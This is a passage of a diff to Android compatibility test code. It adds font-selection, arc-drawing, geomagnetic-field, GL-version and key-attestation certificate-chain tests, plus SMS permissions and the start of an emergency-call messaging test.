--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_st_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_st_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_1_golden.png
index 143ce3e..1520397 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_2_golden.png
index 9a5efd2..727bb48 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_3_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_3_golden.png
index 2edc3c7..d68ab90 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_3_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_3_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_schedule_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_schedule_golden.png
index 9822bc2..2830840 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_schedule_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_schedule_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_settings_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_settings_golden.png
index d12b142..b5d25be 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_settings_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_settings_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_golden.png
index 3936c89..923347d 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_pressed_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_pressed_golden.png
index c5d06f6..74c30fa 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_pressed_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_pressed_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_golden.png
index 3936c89..923347d 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_pressed_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_pressed_golden.png
index c5d06f6..74c30fa 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_pressed_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_pressed_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_1_golden.png
index 2bf7882..c202ffc 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_2_golden.png
index 4141d6f..ed31e47 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_3_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_3_golden.png
index 1212fb3..a32de90 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_3_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_3_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_1_golden.png
index 0717399..66e4e3b 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_2_golden.png
index 505aa2e..9aeeeef 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_3_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_3_golden.png
index 9b53e94..468a1c3 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_3_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_3_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_4_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_4_golden.png
index a5d4d33..e4bc055 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_4_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_4_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_5_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_5_golden.png
index 0d8ded1..bb185f2 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_5_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_5_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_6_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_6_golden.png
index 3da7969..02901b6 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_6_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_6_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/font/a3em.ttf b/tests/tests/graphics/res/font/a3em.ttf
new file mode 100644
index 0000000..a601ce2
--- /dev/null
+++ b/tests/tests/graphics/res/font/a3em.ttf
Binary files differ
diff --git a/tests/tests/graphics/res/font/b3em.ttf b/tests/tests/graphics/res/font/b3em.ttf
new file mode 100644
index 0000000..63948a2
--- /dev/null
+++ b/tests/tests/graphics/res/font/b3em.ttf
Binary files differ
diff --git a/tests/tests/graphics/res/font/c3em.ttf b/tests/tests/graphics/res/font/c3em.ttf
new file mode 100644
index 0000000..badc3e2
--- /dev/null
+++ b/tests/tests/graphics/res/font/c3em.ttf
Binary files differ
diff --git a/tests/tests/graphics/res/font/multistyle_family.xml b/tests/tests/graphics/res/font/multistyle_family.xml
new file mode 100644
index 0000000..2522e72
--- /dev/null
+++ b/tests/tests/graphics/res/font/multistyle_family.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+ <font android:font="@font/a3em" android:fontWeight="400" android:fontStyle="normal" />
+ <font android:font="@font/b3em" android:fontWeight="400" android:fontStyle="italic" />
+ <font android:font="@font/c3em" android:fontWeight="700" android:fontStyle="italic" />
+</font-family>
diff --git a/tests/tests/graphics/res/font/multiweight_family.xml b/tests/tests/graphics/res/font/multiweight_family.xml
new file mode 100644
index 0000000..2ed0490
--- /dev/null
+++ b/tests/tests/graphics/res/font/multiweight_family.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+ <font android:font="@font/a3em" android:fontWeight="100" android:fontStyle="normal" />
+ <font android:font="@font/b3em" android:fontWeight="400" android:fontStyle="normal" />
+ <font android:font="@font/c3em" android:fontWeight="700" android:fontStyle="normal" />
+</font-family>
diff --git a/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java b/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java
index b36c23a..70c3202 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java
@@ -1428,6 +1428,12 @@
// normal case
mCanvas.drawArc(new RectF(0, 0, 10, 12), 10, 11, false, mPaint);
mCanvas.drawArc(new RectF(0, 0, 10, 12), 10, 11, true, mPaint);
+
+ // special case: sweepAngle >= abs(360)
+ mCanvas.drawArc(new RectF(0, 0, 10, 12), 10, 400, true, mPaint);
+ mCanvas.drawArc(new RectF(0, 0, 10, 12), 10, -400, true, mPaint);
+ mCanvas.drawArc(new RectF(0, 0, 10, 12), 10, Float.POSITIVE_INFINITY, true, mPaint);
+ mCanvas.drawArc(new RectF(0, 0, 10, 12), 10, Float.NEGATIVE_INFINITY, true, mPaint);
}
@Test(expected=NullPointerException.class)
diff --git a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
index 04d5564..32cdd38 100644
--- a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
@@ -52,6 +52,19 @@
private static final String DEFAULT = (String)null;
private static final String INVALID = "invalid-family-name";
+ private static final float GLYPH_1EM_WIDTH;
+ private static final float GLYPH_3EM_WIDTH;
+
+ static {
+ // 3em.ttf supports "a", "b", "c". The width of "a" is 3em, others are 1em.
+ final Context ctx = InstrumentationRegistry.getTargetContext();
+ final Typeface typeface = ctx.getResources().getFont(R.font.a3em);
+ final Paint paint = new Paint();
+ paint.setTypeface(typeface);
+ GLYPH_3EM_WIDTH = paint.measureText("a");
+ GLYPH_1EM_WIDTH = paint.measureText("b");
+ }
+
// list of family names to try when attempting to find a typeface with a given style
private static final String[] FAMILIES =
{ (String) null, "monospace", "serif", "sans-serif", "cursive", "arial", "times" };
@@ -531,4 +544,68 @@
assertTrue(Math.abs(widthFromRegular - widthFromBlack) > 1.0f);
}
+
+ @Test
+ public void testTypefaceCreate_withExactWeight() {
+ // multiweight_family has following fonts.
+ // - a3em.ttf with weight = 100, style=normal configuration.
+ // This font supports "a", "b", "c". The weight "a" is 3em, others are 1em.
+ // - b3em.ttf with weight = 400, style=normal configuration.
+ // This font supports "a", "b", "c". The weight "b" is 3em, others are 1em.
+ // - c3em.ttf with weight = 700, style=normal configuration.
+ // This font supports "a", "b", "c". The weight "c" is 3em, others are 1em.
+ final Typeface family = mContext.getResources().getFont(R.font.multiweight_family);
+ assertNotNull(family);
+
+ final Paint paint = new Paint();
+ // By default, the font which weight is 400 is selected.
+ paint.setTypeface(family);
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("a"), 0f);
+ assertEquals(GLYPH_3EM_WIDTH, paint.measureText("b"), 0f);
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("c"), 0f);
+
+ // Draw with the font which weight is 100.
+ paint.setTypeface(Typeface.create(family, 100 /* weight */, false /* italic */));
+ assertEquals(GLYPH_3EM_WIDTH, paint.measureText("a"), 0f);
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("b"), 0f);
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("c"), 0f);
+
+ // Draw with the font which weight is 700.
+ paint.setTypeface(Typeface.create(family, 700 /* weight */, false /* italic */));
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("a"), 0f);
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("b"), 0f);
+ assertEquals(GLYPH_3EM_WIDTH, paint.measureText("c"), 0f);
+ }
+
+ @Test
+ public void testTypefaceCreate_withExactStyle() {
+ // multiweight_family has following fonts.
+ // - a3em.ttf with weight = 400, style=normal configuration.
+ // This font supports "a", "b", "c". The weight "a" is 3em, others are 1em.
+ // - b3em.ttf with weight = 400, style=italic configuration.
+ // This font supports "a", "b", "c". The weight "b" is 3em, others are 1em.
+ // - c3em.ttf with weight = 700, style=italic configuration.
+ // This font supports "a", "b", "c". The weight "c" is 3em, others are 1em.
+ final Typeface family = mContext.getResources().getFont(R.font.multistyle_family);
+ assertNotNull(family);
+
+ final Paint paint = new Paint();
+ // By default, the normal style font which weight is 400 is selected.
+ paint.setTypeface(family);
+ assertEquals(GLYPH_3EM_WIDTH, paint.measureText("a"), 0f);
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("b"), 0f);
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("c"), 0f);
+
+ // Draw with the italic font.
+ paint.setTypeface(Typeface.create(family, 400 /* weight */, true /* italic */));
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("a"), 0f);
+ assertEquals(GLYPH_3EM_WIDTH, paint.measureText("b"), 0f);
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("c"), 0f);
+
+ // Draw with the italic font which weigth is 700.
+ paint.setTypeface(Typeface.create(family, 700 /* weight */, true /* italic */));
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("a"), 0f);
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("b"), 0f);
+ assertEquals(GLYPH_3EM_WIDTH, paint.measureText("c"), 0f);
+ }
}
diff --git a/tests/tests/hardware/src/android/hardware/cts/GeomagneticFieldTest.java b/tests/tests/hardware/src/android/hardware/cts/GeomagneticFieldTest.java
index 75d7b7c..8968442 100644
--- a/tests/tests/hardware/src/android/hardware/cts/GeomagneticFieldTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/GeomagneticFieldTest.java
@@ -23,26 +23,79 @@
import java.util.GregorianCalendar;
public class GeomagneticFieldTest extends AndroidTestCase {
- // Chengdu: Latitude 30d 40' 12", Longitude 104d 3' 36"
- private static final float LATITUDE_OF_CHENGDU = 30.67f;
- private static final float LONGITUDE_OF_CHENGDU = 104.06f;
- private static final float ALTITUDE_OF_CHENGDU = 500f;
- private static final long TEST_TIME = new GregorianCalendar(2010, 5, 1).getTimeInMillis();
+ private static final float DECLINATION_THRESHOLD = 0.1f;
+ private static final float INCLINATION_THRESHOLD = 0.1f;
+ private static final float FIELD_STRENGTH_THRESHOLD = 100;
@Presubmit
public void testGeomagneticField() {
- GeomagneticField geomagneticField = new GeomagneticField(LATITUDE_OF_CHENGDU,
- LONGITUDE_OF_CHENGDU, ALTITUDE_OF_CHENGDU, TEST_TIME);
+ // Reference values calculated from NOAA online calculator for WMM 2015
+ // https://www.ngdc.noaa.gov/geomag-web/#igrfwmm
+ TestDataPoint testPoints[] = new TestDataPoint[] {
+ // Mountain View, CA, USA on 2017/1/1
+ new TestDataPoint(37.386f, -122.083f, 32, 2017, 1, 1,
+ 13.4589f, 60.9542f, 48168.0f),
+ // Chengdu, China on 2017/8/8
+ new TestDataPoint(30.658f, 103.935f, 500f, 2017, 8, 8,
+ -1.9784f, 47.9723f, 50717.3f),
+ // Sao Paulo, Brazil on 2018/12/25
+ new TestDataPoint(-23.682f, -46.875f, 760f, 2018, 12, 25,
+ -21.3130f, -37.9940f, 22832.3f),
+ // Boston, MA, USA on 2019/2/10
+ new TestDataPoint(42.313f, -71.127f, 43f, 2019, 2, 10,
+ -14.5391f, 66.9693f, 51815.1f),
+ // Cape Town, South Africa on 2019/5/1
+ new TestDataPoint(-33.913f, 18.095f, 100f, 2019, 5, 1,
+ -25.2454f, -65.8887f, 25369.2f),
+ // Sydney, Australia on 2020/1/1
+ new TestDataPoint(-33.847f, 150.791f, 19f, 2020, 1, 1,
+ 12.4469f, -64.3443f, 57087.9f)
+ };
- // Reference values calculated from NOAA online calculator for WMM 2010,
- // and cross-checked in Matlab. The expected deltas are proportional to the
- // magnitude of each value.
- assertEquals(-1.867f, geomagneticField.getDeclination(), 0.1f);
- assertEquals(47.133f, geomagneticField.getInclination(), 1.0f);
- assertEquals(50375.6f, geomagneticField.getFieldStrength(), 100.0f);
- assertEquals(34269.3f, geomagneticField.getHorizontalStrength(), 100.0f);
- assertEquals(34251.2f, geomagneticField.getX(), 100.0f);
- assertEquals(-1113.2f, geomagneticField.getY(), 10.0f);
- assertEquals(36923.1f, geomagneticField.getZ(), 100.0f);
+ for (TestDataPoint t : testPoints) {
+ GeomagneticField field =
+ new GeomagneticField(t.latitude, t.longitude, t.altitude, t.epochTimeMillis);
+ assertEquals(t.declinationDegree, field.getDeclination(), DECLINATION_THRESHOLD);
+ assertEquals(t.inclinationDegree, field.getInclination(), INCLINATION_THRESHOLD);
+ assertEquals(t.fieldStrengthNanoTesla, field.getFieldStrength(),
+ FIELD_STRENGTH_THRESHOLD);
+
+ float horizontalFieldStrengthNanoTesla = (float)(
+ Math.cos(Math.toRadians(t.inclinationDegree)) * t.fieldStrengthNanoTesla);
+ assertEquals(horizontalFieldStrengthNanoTesla, field.getHorizontalStrength(),
+ FIELD_STRENGTH_THRESHOLD);
+
+ float verticalFieldStrengthNanoTesla = (float)(
+ Math.sin(Math.toRadians(t.inclinationDegree)) * t.fieldStrengthNanoTesla);
+ assertEquals(verticalFieldStrengthNanoTesla, field.getZ(), FIELD_STRENGTH_THRESHOLD);
+
+ float declinationDegree = (float)(
+ Math.toDegrees(Math.atan2(field.getY(), field.getX())));
+ assertEquals(t.declinationDegree, declinationDegree, DECLINATION_THRESHOLD);
+ assertEquals(horizontalFieldStrengthNanoTesla,
+ Math.sqrt(field.getX() * field.getX() + field.getY() * field.getY()),
+ FIELD_STRENGTH_THRESHOLD);
+ }
+ }
+
+ private class TestDataPoint {
+ public final float latitude;
+ public final float longitude;
+ public final float altitude;
+ public final long epochTimeMillis;
+ public final float declinationDegree;
+ public final float inclinationDegree;
+ public final float fieldStrengthNanoTesla;
+
+ TestDataPoint(float lat, float lng, float alt, int year, int month, int day,
+ float dec, float inc, float strength) {
+ latitude = lat;
+ longitude = lng;
+ altitude = alt;
+ epochTimeMillis = new GregorianCalendar(year, month, day).getTimeInMillis();
+ declinationDegree = dec;
+ inclinationDegree = inc;
+ fieldStrengthNanoTesla = strength;
+ }
}
}
diff --git a/tests/tests/hardware/src/android/hardware/cts/GlUtils.java b/tests/tests/hardware/src/android/hardware/cts/GlUtils.java
index 81628d4..bd5cecb 100644
--- a/tests/tests/hardware/src/android/hardware/cts/GlUtils.java
+++ b/tests/tests/hardware/src/android/hardware/cts/GlUtils.java
@@ -17,6 +17,7 @@
package android.hardware.cts;
import android.opengl.GLES20;
+import android.util.Pair;
import java.util.Arrays;
import java.util.regex.Matcher;
@@ -27,6 +28,10 @@
}
static int getMajorVersion() {
+ return getVersion().first;
+ }
+
+ static Pair<Integer, Integer> getVersion() {
// Section 6.1.5 of the OpenGL ES specification indicates the GL version
// string strictly follows this format:
//
@@ -42,9 +47,10 @@
Pattern pattern = Pattern.compile("OpenGL ES ([0-9]+)\\.([0-9]+)");
Matcher matcher = pattern.matcher(version);
if (matcher.find()) {
- return Integer.parseInt(matcher.group(1));
+ return new Pair<>(
+ Integer.parseInt(matcher.group(1)), Integer.parseInt(matcher.group(2)));
}
- return 2;
+ return new Pair<>(2, 0);
}
static String[] getExtensions() {
diff --git a/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java b/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java
index 5ea845a..6276959 100644
--- a/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/HardwareBufferTest.java
@@ -24,6 +24,7 @@
import android.opengl.EGLSurface;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
+import android.util.Pair;
import org.junit.BeforeClass;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -70,8 +71,10 @@
}, 0);
EGL14.eglMakeCurrent(eglDisplay, eglSurface, eglSurface, eglContext);
- sHasFloatBuffers = GlUtils.getMajorVersion() >= 3 ||
- GlUtils.hasExtensions("GL_OES_texture_half_float",
+ Pair<Integer, Integer> version = GlUtils.getVersion();
+ sHasFloatBuffers = (version.first >= 3 && version.second >= 2) ||
+ GlUtils.hasExtensions(
+ "GL_OES_texture_half_float",
"GL_OES_texture_half_float_linear");
EGL14.eglMakeCurrent(eglDisplay, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT);
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index d901690..0342f08 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -62,6 +62,9 @@
import android.test.AndroidTestCase;
import android.util.ArraySet;
+import com.android.org.bouncycastle.asn1.x500.X500Name;
+import com.android.org.bouncycastle.cert.jcajce.JcaX509CertificateHolder;
+
import java.security.GeneralSecurityException;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
@@ -70,6 +73,7 @@
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
import java.security.ProviderException;
+import java.security.PublicKey;
import java.security.SignatureException;
import java.security.cert.Certificate;
import java.security.cert.CertificateException;
@@ -422,7 +426,7 @@
try {
Certificate certificates[] = keyStore.getCertificateChain(keystoreAlias);
- verifyCertificateSignatures(certificates);
+ verifyCertificateChain(certificates);
X509Certificate attestationCert = (X509Certificate) certificates[0];
Attestation attestation = new Attestation(attestationCert);
@@ -476,7 +480,7 @@
try {
Certificate certificates[] = keyStore.getCertificateChain(keystoreAlias);
- verifyCertificateSignatures(certificates);
+ verifyCertificateChain(certificates);
X509Certificate attestationCert = (X509Certificate) certificates[0];
Attestation attestation = new Attestation(attestationCert);
@@ -876,12 +880,36 @@
keyPairGenerator.generateKeyPair();
}
- private void verifyCertificateSignatures(Certificate[] certChain)
+ private void verifyCertificateChain(Certificate[] certChain)
throws GeneralSecurityException {
assertNotNull(certChain);
for (int i = 1; i < certChain.length; ++i) {
try {
- certChain[i - 1].verify(certChain[i].getPublicKey());
+ PublicKey pubKey = certChain[i].getPublicKey();
+ certChain[i - 1].verify(pubKey);
+ if (i == certChain.length - 1) {
+ // Last cert should be self-signed.
+ certChain[i].verify(pubKey);
+ }
+
+ // Check that issuer in the signed cert matches subject in the signing cert.
+ X509Certificate x509CurrCert = (X509Certificate) certChain[i];
+ X509Certificate x509PrevCert = (X509Certificate) certChain[i - 1];
+ X500Name signingCertSubject =
+ new JcaX509CertificateHolder(x509CurrCert).getSubject();
+ X500Name signedCertIssuer =
+ new JcaX509CertificateHolder(x509PrevCert).getIssuer();
+ // Use .toASN1Object().equals() rather than .equals() because .equals() is case
+ // insensitive, and we want to verify an exact match.
+ assertTrue(
+ signedCertIssuer.toASN1Object().equals(signingCertSubject.toASN1Object()));
+
+ if (i == 1) {
+ // First cert should have subject "CN=Android Keystore Key".
+ X500Name signedCertSubject =
+ new JcaX509CertificateHolder(x509PrevCert).getSubject();
+ assertEquals(signedCertSubject, new X500Name("CN=Android Keystore Key"));
+ }
} catch (InvalidKeyException | CertificateException | NoSuchAlgorithmException
| NoSuchProviderException | SignatureException e) {
throw new GeneralSecurityException("Failed to verify certificate "
diff --git a/tests/tests/location/Android.mk b/tests/tests/location/Android.mk
index a0b8142..b6cb20d 100644
--- a/tests/tests/location/Android.mk
+++ b/tests/tests/location/Android.mk
@@ -26,6 +26,8 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_JAVA_LIBRARIES := telephony-common
+
LOCAL_STATIC_JAVA_LIBRARIES := \
compatibility-device-util ctstestrunner apache-commons-math
@@ -50,6 +52,8 @@
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_JAVA_LIBRARIES := telephony-common
+
LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner apache-commons-math
LOCAL_PROTOC_OPTIMIZE_TYPE := nano
diff --git a/tests/tests/location/AndroidManifest.xml b/tests/tests/location/AndroidManifest.xml
index 1357a38..6e3bbf1 100644
--- a/tests/tests/location/AndroidManifest.xml
+++ b/tests/tests/location/AndroidManifest.xml
@@ -28,9 +28,15 @@
<uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
- <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />>
+ <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
+ <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.INTERNET" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+ <uses-permission android:name="android.permission.READ_SMS"/>
+ <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
+ <uses-permission android:name="android.permission.RECEIVE_SMS" />
+ <uses-permission android:name="android.permission.SEND_SMS" />
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
android:targetPackage="android.location.cts"
android:label="CTS tests of android.location">
diff --git a/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java b/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java
new file mode 100644
index 0000000..d7dbc89
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java
@@ -0,0 +1,333 @@
+package android.location.cts;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.SystemClock;
+import android.telephony.SmsManager;
+import android.telephony.TelephonyManager;
+import android.test.AndroidTestCase;
+import android.text.TextUtils;
+import android.util.Log;
+
+import com.google.android.mms.ContentType;
+import com.google.android.mms.InvalidHeaderValueException;
+import com.google.android.mms.pdu.CharacterSets;
+import com.google.android.mms.pdu.EncodedStringValue;
+import com.google.android.mms.pdu.GenericPdu;
+import com.google.android.mms.pdu.PduBody;
+import com.google.android.mms.pdu.PduComposer;
+import com.google.android.mms.pdu.PduHeaders;
+import com.google.android.mms.pdu.PduParser;
+import com.google.android.mms.pdu.PduPart;
+import com.google.android.mms.pdu.SendConf;
+import com.google.android.mms.pdu.SendReq;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.Random;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test sending SMS and MMS using {@link android.telephony.SmsManager}.
+ */
+public class EmergencyCallMessageTest extends GnssTestCase {
+
+ private static final String TAG = "EmergencyCallMSGTest";
+
+ private static final String ACTION_MMS_SENT = "CTS_MMS_SENT_ACTION";
+ private static final long DEFAULT_EXPIRY_TIME_SECS = TimeUnit.DAYS.toSeconds(7);
+ private static final long MMS_CONFIG_DELAY_MILLIS = TimeUnit.SECONDS.toMillis(1);
+ private static final int DEFAULT_PRIORITY = PduHeaders.PRIORITY_NORMAL;
+ private static final short DEFAULT_DATA_SMS_PORT = 8091;
+ private static final String PHONE_NUMBER_KEY = "android.cts.emergencycall.phonenumber";
+ private static final String SUBJECT = "CTS Emergency Call MMS Test";
+ private static final String MMS_MESSAGE_BODY = "CTS Emergency Call MMS test message body";
+ private static final String SMS_MESSAGE_BODY = "CTS Emergency Call Sms test message body";
+ private static final String SMS_DATA_MESSAGE_BODY =
+ "CTS Emergency Call Sms data test message body";
+ private static final String TEXT_PART_FILENAME = "text_0.txt";
+ private static final String SMIL_TEXT =
+ "<smil>" +
+ "<head>" +
+ "<layout>" +
+ "<root-layout/>" +
+ "<region height=\"100%%\" id=\"Text\" left=\"0%%\" top=\"0%%\" width=\"100%%\"/>" +
+ "</layout>" +
+ "</head>" +
+ "<body>" +
+ "<par dur=\"8000ms\">" +
+ "<text src=\"%s\" region=\"Text\"/>" +
+ "</par>" +
+ "</body>" +
+ "</smil>";
+
+ private static final long SENT_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5); // 5 minutes
+
+ private static final String PROVIDER_AUTHORITY = "emergencycallverifier";
+
+ private Random mRandom;
+ private SentReceiver mSentReceiver;
+ private TelephonyManager mTelephonyManager;
+ private PackageManager mPackageManager;
+
+ private static class SentReceiver extends BroadcastReceiver {
+ private boolean mSuccess;
+ private boolean mDone;
+ private final CountDownLatch mLatch;
+ public SentReceiver() {
+ mLatch = new CountDownLatch(1);
+ mSuccess = false;
+ mDone = false;
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.i(TAG, "Action " + intent.getAction());
+ if (!ACTION_MMS_SENT.equals(intent.getAction())) {
+ return;
+ }
+ final int resultCode = getResultCode();
+ if (resultCode == Activity.RESULT_OK) {
+ final byte[] response = intent.getByteArrayExtra(SmsManager.EXTRA_MMS_DATA);
+ if (response != null) {
+ final GenericPdu pdu = new PduParser(
+ response, shouldParseContentDisposition()).parse();
